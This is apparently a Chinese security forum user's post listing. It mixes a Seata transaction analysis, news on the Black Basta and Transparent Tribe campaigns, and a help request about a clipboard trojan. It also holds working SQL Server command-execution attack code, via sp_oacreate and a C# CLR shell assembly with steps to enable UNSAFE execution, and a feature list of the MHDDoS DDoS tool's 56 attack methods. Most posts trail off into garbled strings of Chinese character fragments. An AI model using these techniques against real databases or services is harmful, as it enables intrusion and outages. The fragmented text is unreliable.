CNHAT 发布的所有帖子
-
分布式事务Seata AT模式原理分析木马
官网地址:https://seata.apache.org/zh-cn/ AT模式 优点:无侵入式代码,只需要添加注解,底层采用Seata代理的数据源DataSourceProxy 缺点:依赖于数据库,目前只适用于postgresql、oracle、mysql、polardb-x、sqlserver、达梦数据库等数据库,比如业务逻辑中含有redis、es等操作需要控制事务,无法实现,可以使用TCC模式 客户端 <dependency> <groupId>io.seata</groupId> <artifactId>seata-spring-boot-starter</artifactId> <version>2.0.0</version> </dependency> 首先从源码查起,自动配置首先可以看到这两个,是比较核心的,SeataAutoConfiguration负责扫描@GlobalTransactional注解以及@GlobalLock注解,生成代理类,SeataDataSourceAutoConfiguration主要生成DataSourceProxy代理类以及PreparedStatementProxy或StatementProxy都使用的是Seata的代理类 io.seata.spring.boot.autoconfigure.SeataAutoConfiguration, io.seata.spring.boot.autoconfigure.SeataDataSourceAutoConfiguration, GlobalTransactionScanner类会首先扫描带@GlobalTransactional注解的类,其次在bean注入完成后 注册TM以及RM,主要逻辑还是生成GlobalTransactional注解的代理方法 首先会在postProcessAfterInitialization初始化之后wrapIfNecessary也就是包装一层,这个方法所有bean都会执行一遍,为了过滤会进行一次初步筛选 会对包名判断以及去除Configuration类,然后会判断是否存在GlobalTransactional或GlobalLock注解,代理最重要的MethodInterceptor,所有的处理逻辑都将会在这个拦截器执行只不过这里大概封装了三四层,因为TCC需要走不同的逻辑, 这里以官网例子举例,当调用purchase方法时会执行GlobalTransactionalInterceptorHandler#doInvoke方法 然后执行TransactionalTemplate#execute,首先判断事务的传播机制,默认为REQUIRED,会创建新的事务,以下为代理方法的核心逻辑,创建分布式事务,提交事务以及回滚事务 beginTransaction表示开启事务,第一次与服务端交互,拿到全局锁,返回一个xid, 第二步business.execute表示执行真正执行purchase方法,但是执行的过程中务必会有数据库的操作,所以先看DataSource的代理逻辑 DataSource方法代理 同上,继承了AbstractAutoProxyCreator,如果判断bean类型为DataSource,生成代理类之后放入DataSourceProxyHolder,类型为<origin, proxy>的缓存当中, 当调用DataSource方法的时候,再从DataSourceProxyHolder取出来,这样实际调用的就是代理类的方法, 其中DataSourceProxy中Connection以及Statement均用的seata的代理类 这里以更新为例,扣减库存数量,库存-2 最终执行executeUpdate方法,在获取Connection的时候获取到的是代理之后的ConnectionProxy 一阶段 ExecuteTemplate#execute方法会判断执行sql类型,以UpdateExecutor为例,下面再执行sql的时候添加了额外的逻辑,这也是AT模式可以回滚的关键, statementCallback.execute会在执行业务sql的前后添加镜像,首先看beforeImage,还是以update为例,beforeImage记录更新之前的数据,在更新之前会先查询表结构,获得当前事务表的所有列及索引, 但是这里查询结构不是通过information_schema.tables,以stock_tbl 为例执行的sql为SELECT * FROM stock_tbl LIMIT 1,再通过ResultSetMetaData以及DatabaseMetaData可以获得当前表的所有列及索引,当然这不是每次执行都必须的,只有第一次会查询limit 1语句,后续会放入本地缓存caffeine中,然后根据where条件以及索引来生成查询语句,执行查询得到记录生成beforeImage SELECT id, count FROM stock_tbl WHERE commodity_code = ? FOR UPDATE 然后执行业务代码,执行完成之后生成afterImage,通过beforeImage和afterImage生成undolog 然后执行代理类的事务提交,在提交的时候也大有来头,首先向TM注入分支, 然后插入undo_log,这个Insert会加入当前事务,可以通过 select * from performance_schema.data_locks 查看当前锁 如果在commit当前本地事务的时候发生异常,会上报给TM,会立马进行回滚本地事务, 二阶段—提交 当所有一阶段执行完成之后,由TM开始提交全局事务,TransactionalTemplate#execute 然后TC会向RM发起分支提交请求,在AbstractNettyRemoting#processMessage收到消息之后进行分支的提交,在异步任务提交的时候,AsyncWorker#dealWithGroupedContexts 同时会删除undo_log日志, 至此,提交完事务,整个流程就结束了 二阶段-回滚 如果执行过程中发生了满足条件的异常,TM会向TC发送异常回滚的请求,收到TC回滚请求的RM通过XID与branchId查找undoLog DataSourceManager#branchRollback 会拿到后镜像与当前数据进行做对比,如果一致,说明被当前事务之外的操作做了处理,如果不一致生成回滚sql,并且删除当前undolog,提交事务并将结果上报给TC 官网 网地 地址 官网地 网地址 官网地址 模式 优点 无侵 侵入 入式 式代 代码 无侵入 侵入式 入式代 式代码 无侵入式 侵入式代 入式代码 只需 需要 要添 添加 加注 注解 只需要 需要添 要添加 添加注 加注解 只需要添 需要添加 要添加注 添加注解 底层 层采 采用 底层采 层采用 底层采用 代理 理的 的数 数据 据源 代理的 理的数 的数据 数据源 代理的数 理的数据 的数据源 缺点 依赖 赖于 于数 据库 依赖于 赖于数 于数据 数据库 依赖于数 赖于数据 于数据库 目前 前只 只适 适用 用于 目前只 前只适 只适用 适用于 目前只适 前只适用 只适用于 达梦 梦数 库等 等数 达梦数 梦数据 据库等 库等数 等数据 达梦数据 梦数据库 数据库等 据库等数 库等数据 等数据库 比如 如业 业务 务逻 逻辑 辑中 中含 含有 比如业 如业务 业务逻 务逻辑 逻辑中 辑中含 中含有 比如业务 如业务逻 业务逻辑 务逻辑中 逻辑中含 辑中含有 等操 操作 作需 要控 控制 制事 事务 等操作 操作需 作需要 需要控 要控制 控制事 制事务 等操作需 操作需要 作需要控 需要控制 要控制事 控制事务 无法 法实 实现 无法实 法实现 无法实现 可以 以使 使用 可以使 以使用 可以使用 客户 户端 客户端 首先 先从 从源 源码 码查 查起 首先从 先从源 从源码 源码查 码查起 首先从源 先从源码 从源码查 源码查起 自动 动配 配置 置首 先可 以看 看到 到这 这两 两个 自动配 动配置 配置首 置首先 首先可 先可以 可以看 以看到 看到这 到这两 这两个 自动配置 动配置首 配置首先 置首先可 首先可以 先可以看 可以看到 以看到这 看到这两 到这两个 是比 比较 较核 核心 心的 是比较 比较核 较核心 核心的 是比较核 比较核心 较核心的 负责 责扫 扫描 负责扫 责扫描 负责扫描 解以 以及 注解以 解以及 注解以及 生成 成代 理类 生成代 成代理 代理类 生成代理 成代理类 主要 要生 主要生 要生成 主要生成 类以 理类以 类以及 代理类以 理类以及 都使 用的 的是 都使用 使用的 用的是 都使用的 使用的是 的代 的代理 的代理类 类会 会首 先扫 描带 类会首 会首先 首先扫 先扫描 扫描带 类会首先 会首先扫 首先扫描 先扫描带 解的 的类 注解的 解的类 注解的类 其次 次在 其次在 注入 入完 完成 成后 注入完 入完成 完成后 注入完成 入完成后 注册 要逻 辑还 还是 是生 主要逻 要逻辑 逻辑还 辑还是 还是生 是生成 主要逻辑 要逻辑还 逻辑还是 辑还是生 还是生成 理方 方法 解的代 代理方 理方法 注解的代 解的代理 的代理方 代理方法 先会 会在 首先会 先会在 首先会在 初始 始化 化之 之后 初始化 始化之 化之后 初始化之 始化之后 也就 就是 是包 包装 装一 一层 也就是 就是包 是包装 包装一 装一层 也就是包 就是包装 是包装一 包装一层 这个 个方 法所 所有 这个方 个方法 方法所 法所有 这个方法 个方法所 方法所有 都会 会执 执行 行一 一遍 都会执 会执行 执行一 行一遍 都会执行 会执行一 执行一遍 为了 了过 过滤 滤会 会进 进行 一次 次初 初步 步筛 筛选 为了过 了过滤 过滤会 滤会进 会进行 进行一 行一次 一次初 次初步 初步筛 步筛选 为了过滤 了过滤会 过滤会进 滤会进行 会进行一 进行一次 行一次初 一次初步 次初步筛 初步筛选 会对 对包 包名 名判 判断 断以 及去 去除 会对包 对包名 包名判 名判断 判断以 断以及 以及去 及去除 会对包名 对包名判 包名判断 名判断以 判断以及 断以及去 以及去除 然后 后会 会判 断是 是否 否存 存在 然后会 后会判 会判断 判断是 断是否 是否存 否存在 然后会判 后会判断 会判断是 判断是否 断是否存 是否存在 理最 最重 重要 要的 代理最 理最重 最重要 重要的 代理最重 理最重要 最重要的 有的 的处 处理 理逻 辑都 都将 将会 在这 个拦 拦截 截器 器执 行只 只不 不过 过这 这里 里大 大概 概封 封装 装了 了三 三四 四层 所有的 有的处 的处理 处理逻 理逻辑 逻辑都 辑都将 都将会 将会在 会在这 在这个 这个拦 个拦截 拦截器 截器执 器执行 执行只 行只不 只不过 不过这 过这里 这里大 里大概 大概封 概封装 封装了 装了三 了三四 三四层 所有的处 有的处理 的处理逻 处理逻辑 理逻辑都 逻辑都将 辑都将会
-
Sql Server在没有XpCmdShe的情况下执行命令
利用COM执行命令 (需要开启Ole Automation Procedures组件) declare @luan int,@exec int,@text int,@str varchar(8000); exec sp_oacreate '{72C24DD5-D70A-438B-8A42-98424B88AFB8}',@luan output; exec sp_oamethod @luan,'exec',@exec output,'C:\\Windows\\System32\\cmd.exe /c whoami'; exec sp_oamethod @exec, 'StdOut', @text out; exec sp_oamethod @text, 'readall', @str out; select @str; 没有开启Ole Automation Procedures,可以用下面的命令开启 sp_configure 'show advanced options', 1; GO RECONFIGURE; GO sp_configure 'Ole Automation Procedures', 1; GO RECONFIGURE; GO 编写CLR实现执行命令 编写语言:C# Vs创建类库 using System; using System.Collections.Generic; using System.Linq; using System.Text; using System; using System.Threading.Tasks; namespace shellexec { public class exec { public static string cmd(string command) { System.Diagnostics.Process pro = new System.Diagnostics.Process(); pro.StartInfo.FileName = "cmd.exe"; pro.StartInfo.UseShellExecute = false; pro.StartInfo.RedirectStandardError = true; //标准错误 pro.StartInfo.RedirectStandardInput = true; //标准输入 pro.StartInfo.RedirectStandardOutput = true; //标准输出 pro.StartInfo.CreateNoWindow = true; //是否在新窗口开启进程 pro.Start(); pro.StandardInput.WriteLine(command + "&&exit"); //命令参数写入 pro.StandardInput.AutoFlush = true; //缓冲区自动刷新 string output = pro.StandardOutput.ReadToEnd(); //读取执行结果 pro.WaitForExit(); //等待执行完成退出 pro.Close(); return output.ToString(); } } } 生成dll后,可以用hex的方法写到目标,或者shell上传。然后开始构造 1.目标数据库实例需要启用clr集成 exec sp_configure 'clr enabled', 1;--在SQL Server中启用CLR reconfigure; go 2.目标数据库的可信任属性需要设为false,可以使用以下语句启用 ALTER DATABASE [<数据库名称>] SET TRUSTWORTHY ON 3.在数据库中注册DLL CREATE ASSEMBLY MySqlCLR FROM '<dll的路径>' //MySqlCLR为导入dll后的变量名称 4.创建函数 (根据对应函数的类型的参数构造对应的参数类型,然后RETURNS [nvarchar] (max)记得设置为返回最大如果是返回string类型的话),在直接这个dll的名称在那个命名空间、类、函数) CREATE FUNCTION [dbo].[cmd2] ( @cmd AS NVARCHAR(max) ) RETURNS [nvarchar] (max) WITH EXECUTE AS CALLER AS EXTERNAL NAME [MySqlCLR].[shellexec.exec].cmd //shellexec为命名空间,exec为类名,cmd为函数名 GO 5.程序集的权限级别必须设为 external access,否则在部署的时候会报错 ALTER ASSEMBLY [MySqlCLR] WITH PERMISSION_SET = UNSAFE 6.调用存储过程和函数方法 select [dbo].[cmd2]('whoami') 利用 执行 行命 命令 执行命 行命令 执行命令 需要 要开 开启 需要开 要开启 需要开启 组件 没有 有开 没有开 有开启 没有开启 可以 以用 用下 下面 面的 的命 令开 可以用 以用下 用下面 下面的 面的命 的命令 命令开 令开启 可以用下 以用下面 用下面的 下面的命 面的命令 的命令开 命令开启 编写 实现 现执 实现执 现执行 实现执行 现执行命 写语 语言 编写语 写语言 编写语言 创建 建类 类库 创建类 建类库 创建类库 标准 准错 错误 标准错 准错误 标准错误 准输 输入 标准输 准输入 标准输入 输出 准输出 标准输出 是否 否在 在新 新窗 窗口 口开 启进 进程 是否在 否在新 在新窗 新窗口 窗口开 口开启 开启进 启进程 是否在新 否在新窗 在新窗口 新窗口开 窗口开启 口开启进 开启进程 令参 参数 数写 写入 命令参 令参数 参数写 数写入 命令参数 令参数写 参数写入 缓冲 冲区 区自 自动 动刷 刷新 缓冲区 冲区自 区自动 自动刷 动刷新 缓冲区自 冲区自动 区自动刷 自动刷新 读取 取执 行结 结果 读取执 取执行 执行结 行结果 读取执行 取执行结 执行结果 等待 待执 行完 完成 成退 退出 等待执 待执行 执行完 行完成 完成退 成退出 等待执行 待执行完 执行完成 行完成退 完成退出 生成 的方 方法 法写 写到 到目 目标 的方法 方法写 法写到 写到目 到目标 的方法写 方法写到 法写到目 写到目标 或者 上传 然后 后开 开始 始构 构造 然后开 后开始 开始构 始构造 然后开始 后开始构 开始构造 标数 数据 据库 库实 实例 例需 要启 启用 目标数 标数据 数据库 据库实 库实例 实例需 例需要 需要启 要启用 目标数据 标数据库 数据库实 据库实例 库实例需 实例需要 例需要启 需要启用 集成 中启 中启用 库的 的可 可信 信任 任属 属性 性需 要设 设为 据库的 库的可 的可信 可信任 信任属 任属性 属性需 性需要 需要设 要设为 数据库的 据库的可 库的可信 的可信任 可信任属 信任属性 任属性需 属性需要 性需要设 需要设为 以使 使用 用以 以下 下语 语句 句启 可以使 以使用 使用以 用以下 以下语 下语句 语句启 句启用 可以使用 以使用以 使用以下 用以下语 以下语句 下语句启 语句启用 库名 名称 据库名 库名称 数据库名 据库名称 在数 库中 中注 注册 在数据 据库中 库中注 中注册 在数据库 数据库中 据库中注 库中注册 的路 路径 的路径 为导 导入 为导入 后的 的变 变量 量名 后的变 的变量 变量名 量名称 后的变量 的变量名 变量名称 建函 函数 创建函 建函数 创建函数 根据 据对 对应 应函 数的 的类 类型 型的 的参 数构 造对 应的 数类 根据对 据对应 对应函 应函数 函数的 数的类 的类型 类型的 型的参 的参数 参数构 数构造 构造对 造对应 对应的 应的参 参数类 数类型 根据对应 据对应函 对应函数 应函数的 函数的类 数的类型 的类型的 类型的参 型的参数 的参数构 参数构造 数构造对 构造对应 造对应的 对应的参 应的参数 的参数类 参数类型 记得 得设 设置 置为 为返 返回 回最 最大 大如 如果 果是 是返 记得设 得设置 设置为 置为返 为返回 返回最 回最大 最大如 大如果 如果是 果是返 是返回 记得设置 得设置为 设置为返 置为返回 为返回最 返回最大 回最大如 最大如果 大如果是 如果是返 果是返回 的话 型的话 类型的话 在直 直接 接这 这个 在直接 直接这 接这个 在直接这 直接这个 的名 称在 在那 那个 个命 命名 名空 空间 的名称 名称在 称在那 在那个 那个命 个命名 命名空 名空间 的名称在 名称在那 称在那个 在那个命 那个命名 个命名空 命名空间 为命 为命名 为命名空 为类 类名 为类名 为函 数名 为函数 函数名 为函数名 程序 序集 集的 的权 权限 限级 级别 别必 必须 须设 程序集 序集的 集的权 的权限 权限级 限级别 级别必 别必须 必须设 须设为 程序集的 序集的权 集的权限 的权限级 权限级别 限级别必 级别必须 别必须设 必须设为 否则 则在 在部 部署 署的 的时 时候 候会 会报 报错 否则在 则在部 在部署 部署的 署的时 的时候 时候会 候会报 会报错 否则在部 则在部署 在部署的 部署的时 署的时候 的时候会 时候会报 候会报错 调用 用存 存储 储过 过程 程和 和函 数方 调用存 用存储 存储过 储过程 过程和 程和函 和函数
-
Black Basta 勒索软件团伙使用 Qakbot 恶意软件渗透美国公司
位于美国的公司一直处于“激进的”Qakbot 恶意软件活动的接收端,该活动导致受感染网络上的 Black Basta 勒索软件感染。 Cybereason 研究人员 Joakim Kandefelt 和 Danielle Frankel在与黑客新闻分享的一份报告中说: “在最近的这次活动中,Black Basta 勒索软件团伙正在使用 QakBot 恶意软件创建初始入口点并在组织网络内横向移动。” 2022 年 4 月出现的 Black Basta 遵循久经考验的双重勒索方法,从目标公司窃取敏感数据,并以此为杠杆,通过威胁发布被盗信息来勒索加密货币支付。 这不是第一次观察到勒索软件团队使用 Qakbot(又名 QBot、QuackBot 或 Pinkslipbot)。上个月,趋势科技披露了类似的攻击,这些攻击需要使用 Qakbot 来提供Brute Ratel C4框架,而该框架又被用来放弃 Cobalt Strike。 Cybereason 观察到的入侵活动从等式中删除了 Brute Ratel C4,而是使用 Qakbot 直接在受感染环境中的多台机器上分发 Cobalt Strike。 攻击链从一封带有恶意磁盘映像文件的鱼叉式网络钓鱼电子邮件开始,该文件在打开时启动 Qbot 的执行,而 Qbot 则连接到远程服务器以检索 Cobalt Strike 有效载荷。 在此阶段,执行凭证收集和横向移动活动以将红队框架放置在多个服务器上,然后使用收集到的密码破坏尽可能多的端点并启动 Black Basta 勒索软件。 研究人员指出:“威胁行为者在不到两小时内获得了域管理员权限,并在不到 12 小时内转移到勒索软件部署,”并补充说,过去两周有 10 多个不同的客户受到了新一轮攻击的影响。 在以色列网络安全公司发现的两个实例中,入侵不仅部署了勒索软件,还通过禁用 DNS 服务将受害者锁定在他们的网络之外,以使恢复更具挑战性。 Black Basta 仍然是一个非常活跃的勒索软件攻击者。根据Malwarebytes收集的数据,勒索软件卡特尔仅在 2022 年 10 月就成功地将 25 家公司作为目标,排在LockBit、Karakurt和BlackCat 之后。 位于 于美 美国 国的 的公 公司 司一 一直 直处 处于 位于美 于美国 美国的 国的公 的公司 公司一 司一直 一直处 直处于 位于美国 于美国的 美国的公 国的公司 的公司一 公司一直 司一直处 一直处于 激进 进的 激进的 恶意 意软 软件 件活 活动 动的 的接 接收 收端 恶意软 意软件 软件活 件活动 活动的 动的接 的接收 接收端 恶意软件 意软件活 软件活动 件活动的 活动的接 动的接收 的接收端 该活 动导 导致 致受 受感 感染 染网 网络 络上 上的 该活动 活动导 动导致 导致受 致受感 受感染 感染网 染网络 网络上 络上的 该活动导 活动导致 动导致受 导致受感 致受感染 受感染网 感染网络 染网络上 网络上的 勒索 索软 件感 勒索软 索软件 软件感 件感染 勒索软件 索软件感 软件感染 研究 究人 人员 研究人 究人员 研究人员 在与 与黑 黑客 客新 新闻 闻分 分享 享的 的一 一份 份报 报告 告中 中说 在与黑 与黑客 黑客新 客新闻 新闻分 闻分享 分享的 享的一 的一份 一份报 份报告 报告中 告中说 在与黑客 与黑客新 黑客新闻 客新闻分 新闻分享 闻分享的 分享的一 享的一份 的一份报 一份报告 份报告中 报告中说 在最 最近 近的 的这 这次 次活 动中 在最近 最近的 近的这 的这次 这次活 次活动 活动中 在最近的 最近的这 近的这次 的这次活 这次活动 次活动中 件团 团伙 伙正 正在 在使 使用 软件团 件团伙 团伙正 伙正在 正在使 在使用 索软件团 软件团伙 件团伙正 团伙正在 伙正在使 正在使用 件创 创建 建初 初始 始入 入口 口点 点并 并在 在组 组织 织网 络内 内横 横向 向移 移动 软件创 件创建 创建初 建初始 初始入 始入口 入口点 口点并 点并在 并在组 在组织 组织网 织网络 网络内 络内横 内横向 横向移 向移动 意软件创 软件创建 件创建初 创建初始 建初始入 初始入口 始入口点 入口点并 口点并在 点并在组 并在组织 在组织网 组织网络 织网络内 网络内横 络内横向 内横向移 横向移动 月出 出现 现的 月出现 出现的 月出现的 遵循 循久 久经 经考 考验 验的 的双 双重 重勒 索方 方法 遵循久 循久经 久经考 经考验 考验的 验的双 的双重 双重勒 重勒索 勒索方 索方法 遵循久经 循久经考 久经考验 经考验的 考验的双 验的双重 的双重勒 双重勒索 重勒索方 勒索方法 从目 目标 标公 司窃 窃取 取敏 敏感 感数 数据 从目标 目标公 标公司 公司窃 司窃取 窃取敏 取敏感 敏感数 感数据 从目标公 目标公司 标公司窃 公司窃取 司窃取敏 窃取敏感 取敏感数 敏感数据 并以 以此 此为 为杠 杠杆 并以此 以此为 此为杠 为杠杆 并以此为 以此为杠 此为杠杆 通过 过威 威胁 胁发 发布 布被 被盗 盗信 信息 息来 来勒 索加 加密 密货 货币 币支 支付 通过威 过威胁 威胁发 胁发布 发布被 布被盗 被盗信 盗信息 信息来 息来勒 来勒索 勒索加 索加密 加密货 密货币 货币支 币支付 通过威胁 过威胁发 威胁发布 胁发布被 发布被盗 布被盗信 被盗信息 盗信息来 信息来勒 息来勒索 来勒索加 勒索加密 索加密货 加密货币 密货币支 货币支付 这不 不是 是第 第一 一次 次观 观察 察到 到勒 团队 队使 这不是 不是第 是第一 第一次 一次观 次观察 观察到 察到勒 到勒索 件团队 团队使 队使用 这不是第 不是第一 是第一次 第一次观 一次观察 次观察到 观察到勒 察到勒索 到勒索软 软件团队 件团队使 团队使用 又名 上个 个月 上个月 趋势 势科 科技 技披 披露 露了 了类 类似 似的 的攻 攻击 趋势科 势科技 科技披 技披露 披露了 露了类 了类似 类似的 似的攻 的攻击 趋势科技 势科技披 科技披露 技披露了 披露了类 露了类似 了类似的 类似的攻 似的攻击 这些 些攻 击需 需要 要使 这些攻 些攻击 攻击需 击需要 需要使 要使用 这些攻击 些攻击需 攻击需要 击需要使 需要使用 来提 提供 来提供 框架 而该 该框 架又 又被 被用 用来 来放 放弃 而该框 该框架 框架又 架又被 又被用 被用来 用来放 来放弃 而该框架 该框架又 框架又被 架又被用 又被用来 被用来放 用来放弃 到的 的入 入侵 侵活 动从 从等 等式 式中 中删 删除 除了 察到的 到的入 的入侵 入侵活 侵活动 活动从 动从等 从等式 等式中 式中删 中删除 删除了 观察到的 察到的入 到的入侵 的入侵活 入侵活动 侵活动从 活动从等 动从等式 从等式中 等式中删
-
最近中了复制粘贴木马,怎么消除啊啊啊啊啊
为什么会有这种问题。。 为什 什么 么会 会有 有这 这种 种问 问题 为什么 什么会 么会有 会有这 有这种 这种问 种问题 为什么会 什么会有 么会有这 会有这种 有这种问 这种问题
-
最近中了复制粘贴木马,怎么消除啊啊啊啊啊
为什么会有这种问题。。 为什 什么 么会 会有 有这 这种 种问 问题 为什么 什么会 么会有 会有这 有这种 这种问 种问题 为什么会 什么会有 么会有这 会有这种 有这种问 这种问题
- CHT攻防小组业务合作流程
-
研究人员详细介绍了针对印度政府雇员的新恶意软件活动
透明部落威胁参与者与针对印度政府组织的新活动有关,该活动使用名为Kavach的双因素身份验证解决方案的木马化版本。 Zscaler ThreatLabz 研究员 Sudeep Singh在周四的分析中表示: “该组织滥用 Google 广告进行恶意广告,以分发 Kavach 多重身份验证 (MFA) 应用程序的后门版本。” 这家网络安全公司表示,高级持续性威胁组织还进行了小规模的凭据收集攻击,其中建立了伪装成印度政府官方网站的流氓网站,以引诱不知情的用户输入密码。 透明部落,也被称为 APT36、C-Major 和 Mythic Leopard 的绰号,是一个可疑的巴基斯坦敌对团体,有打击印度和阿富汗实体的历史。 最新的攻击链并不是威胁行为者第一次将目光投向 Kavach(在印地语中意为“盔甲”),这是一个强制应用程序,用户必须在 @gov.in 和 @nic.in 域上拥有电子邮件地址才能签名进入电子邮件服务作为第二层身份验证。 今年 3 月初,Cisco Talos发现了一场黑客活动,该活动使用 Kavach 的假 Windows 安装程序作为诱饵,用 CrimsonRAT 和其他人工制品感染政府人员。 他们常用的策略之一是模仿合法的政府、军队和相关组织来激活杀伤链。威胁行为者进行的最新活动也不例外。 “威胁行为者注册了多个新域托管伪装成官方 Kavach 应用程序下载门户的网页,”辛格说。“他们滥用 Google Ads 的付费搜索功能,将恶意域名推到印度用户的 Google 搜索结果顶部。” Since May 2022, Transparent Tribe is also said to have distributed backdoored versions of the Kavach app through attacker-controlled application stores that claim to offer free software downloads. This website is also surfaced as a top result in Google searches, effectively acting as a gateway to redirect users looking for the app to the .NET-based fraudulent installer. The group, beginning August 2022, has also been observed using a previously undocumented data exfiltration tool codenamed LimePad, which is designed to upload files of interest from the infected host to the attacker's server. Zscaler said it also identified a domain registered by Transparent Tribe spoofing the login page of the Kavach app that was only displayed accessed from an Indian IP address, or else redirected the visitor to the home page of India's National Informatics Centre (NIC). The page, for its part, is equipped to capture the credentials entered by the victim and send them to a remote server for carrying out further attacks against government-related infrastructure. The use of Google ads and LimePad points to the threat actor's continued attempts at evolving and refining its tactics and malware toolset. “APT-36 仍然是最流行的高级持续性威胁组织之一,专注于针对在印度政府组织工作的用户,”辛格说。“印度政府组织内部使用的应用程序是 APT-36 小组使用的社会工程主题的热门选择。” 透明 明部 部落 落威 威胁 胁参 参与 与者 者与 与针 针对 对印 印度 度政 政府 府组 组织 织的 的新 新活 活动 动有 有关 透明部 明部落 部落威 落威胁 威胁参 胁参与 参与者 与者与 者与针 与针对 针对印 对印度 印度政 度政府 政府组 府组织 组织的 织的新 的新活 新活动 活动有 动有关 透明部落 明部落威 部落威胁 落威胁参 威胁参与 胁参与者 参与者与 与者与针 者与针对 与针对印 针对印度 对印度政 印度政府 度政府组 政府组织 府组织的 组织的新 织的新活 的新活动 新活动有 活动有关 该活 动使 使用 用名 名为 该活动 活动使 动使用 使用名 用名为 该活动使 活动使用 动使用名 使用名为 的双 双因 因素 素身 身份 份验 验证 证解 解决 决方 方案 案的 的木 木马 马化 化版 版本 的双因 双因素 因素身 素身份 身份验 份验证 验证解 证解决 解决方 决方案 方案的 案的木 的木马 木马化 马化版 化版本 的双因素 双因素身 因素身份 素身份验 身份验证 份验证解 验证解决 证解决方 解决方案 决方案的 方案的木 案的木马 的木马化 木马化版 马化版本 研究 究员 研究员 在周 周四 四的 的分 分析 析中 中表 表示 在周四 周四的 四的分 的分析 分析中 析中表 中表示 在周四的 周四的分 四的分析 的分析中 分析中表 析中表示 该组 织滥 滥用 该组织 组织滥 织滥用 该组织滥 组织滥用 广告 告进 进行 行恶 恶意 意广 广告进 告进行 进行恶 行恶意 恶意广 意广告 广告进行 告进行恶 进行恶意 行恶意广 恶意广告 以分 分发 以分发 多重 重身 多重身 重身份 多重身份 重身份验 应用 用程 程序 序的 的后 后门 门版 应用程 用程序 程序的 序的后 的后门 后门版 门版本 应用程序 用程序的 程序的后 序的后门 的后门版 后门版本 这家 家网 网络 络安 安全 全公 公司 司表 这家网 家网络 网络安 络安全 安全公 全公司 公司表 司表示 这家网络 家网络安 网络安全 络安全公 安全公司 全公司表 公司表示 高级 级持 持续 续性 性威 胁组 织还 还进 行了 了小 小规 规模 模的 的凭 凭据 据收 收集 集攻 攻击 高级持 级持续 持续性 续性威 性威胁 威胁组 胁组织 组织还 织还进 还进行 进行了 行了小 了小规 小规模 规模的 模的凭 的凭据 凭据收 据收集 收集攻 集攻击 高级持续 级持续性 持续性威 续性威胁 性威胁组 威胁组织 胁组织还 组织还进 织还进行 还进行了 进行了小 行了小规 了小规模 小规模的 规模的凭 模的凭据 的凭据收 凭据收集 据收集攻 收集攻击 其中 中建 建立 立了 了伪 伪装 装成 成印 府官 官方 方网 网站 站的 的流 流氓 氓网 其中建 中建立 建立了 立了伪 了伪装 伪装成 装成印 成印度 政府官 府官方 官方网 方网站 网站的 站的流 的流氓 流氓网 氓网站 其中建立 中建立了 建立了伪 立了伪装 了伪装成 伪装成印 装成印度 成印度政 度政府官 政府官方 府官方网 官方网站 方网站的 网站的流 站的流氓 的流氓网 流氓网站 以引 引诱 诱不 不知 知情 情的 的用 用户 户输 输入 入密 密码 以引诱 引诱不 诱不知 不知情 知情的 情的用 的用户 用户输 户输入 输入密 入密码 以引诱不 引诱不知 诱不知情 不知情的 知情的用 情的用户 的用户输 用户输入 户输入密 输入密码 也被 被称 称为 也被称 被称为 也被称为 的绰 绰号 的绰号 是一 一个 个可 可疑 疑的 的巴 巴基 基斯 斯坦 坦敌 敌对 对团 团体 是一个 一个可 个可疑 可疑的 疑的巴 的巴基 巴基斯 基斯坦 斯坦敌 坦敌对 敌对团 对团体 是一个可 一个可疑 个可疑的 可疑的巴 疑的巴基 的巴基斯 巴基斯坦 基斯坦敌 斯坦敌对 坦敌对团 敌对团体 有打 打击 击印 度和 和阿 阿富 富汗 汗实 实体 体的 的历 历史 有打击 打击印 击印度 印度和 度和阿 和阿富 阿富汗 富汗实 汗实体 实体的 体的历 的历史 有打击印 打击印度 击印度和 印度和阿 度和阿富 和阿富汗 阿富汗实 富汗实体 汗实体的 实体的历 体的历史 最新 新的 的攻 击链 链并 并不 不是 是威 胁行 行为 为者 者第 第一 一次 次将 将目 目光 光投 投向 最新的 新的攻 的攻击 攻击链 击链并 链并不 并不是 不是威 是威胁 威胁行 胁行为 行为者 为者第 者第一 第一次 一次将 次将目 将目光 目光投 光投向 最新的攻 新的攻击 的攻击链 攻击链并 击链并不 链并不是 并不是威 不是威胁 是威胁行
-
MHDDoS 56种方法的DDoS攻击脚本 内置下载地址
注意事项: 仅可作为研究具备授权的测试使用。 未经所有者同意,请勿用于攻击。 特点和方法 ?第 7 层 GET|GET洪水 POST| POST洪水 OVH | 绕过OVH RHEX | 随机十六进制 STOMP | 绕过 chk_captcha STRESS | 发送高字节的 HTTP 数据包 DYN | 一种带有随机子域的新方法 DOWNLOADER | 一种慢读数据的新方法 SLOW | Slowloris 旧的 DDoS 方法 HEAD | hdeveloper.mozilla.org/en-US/docs/Web/HTTP/Methods/HEAD NULL | 空用户代理和… COOKIE | 随机 Cookie PHP ‘if (isset($_COOKIE))’ PPS | 只有 ‘GET / HTTP/1.1\r\n\r\n’ EVEN | 带有更多标头的 GET 方法 GSB | 谷歌项目屏蔽绕过 DGB | DDoS 防护绕过 AVB | Arvan 云绕过 BOT | 像谷歌机器人 阿帕奇 | 阿帕奇漏洞 XMLRPC | WP XMLRPC expliot(添加 /xmlrpc.php) CFB | CloudFlare 绕过 CFBUAM | 攻击模式下的 CloudFlare 绕过 BYPASS | 绕过正常的AntiDDoS BOMB | 绕过codeenberg/bombardier ?KILLER | 运行多个线程来杀死一个目标 ?TOR | 绕过洋葱网站 ?第 4 层: 技术支持 | TCP 洪水绕过 UDP | UDP洪水绕过 SYN | SYN 洪水 CPS | 使用代理打开和关闭连接 ICMP | Icmp 回显请求洪水(Layer3) 连接| 使用代理打开连接 VSE | 发送 Valve Source Engine 协议 TS3 | 发送 Teamspeak 3 状态 Ping 协议 FIVEM | 发送 Fivem 状态 Ping 协议 MEM | Memcached 放大 NTP | NTP 放大 MCBOT | 我的世界机器人攻击 MINECRAFT | Minecraft 状态 Ping 协议 MCPE | Minecraft PE 状态 Ping 协议 DNS | DNS 放大 CHAR | 电荷放大 CLDAP | Cldap扩增 ARD | Apple 远程桌面放大攻击 RDP | 远程桌面协议放大攻击 ⚙️工具 – 运行 python3 start.py tools ?CFIP | 查找由 Cloudflare 提供支持的网站的真实 IP 地址 ?DNS | 显示站点的 DNS 记录 ? TSSRV | TeamSpeak SRV 解析器 ⚠ PING | PING 服务器 ?CHECK | 检查网站状态 ?DSTAT | 显示接收的字节数、发送的字节数及其数量 ?其他 ❌STOP | 停止所有攻击 ?TOOLS | 控制台工具 ?HELP | 显示使用脚本 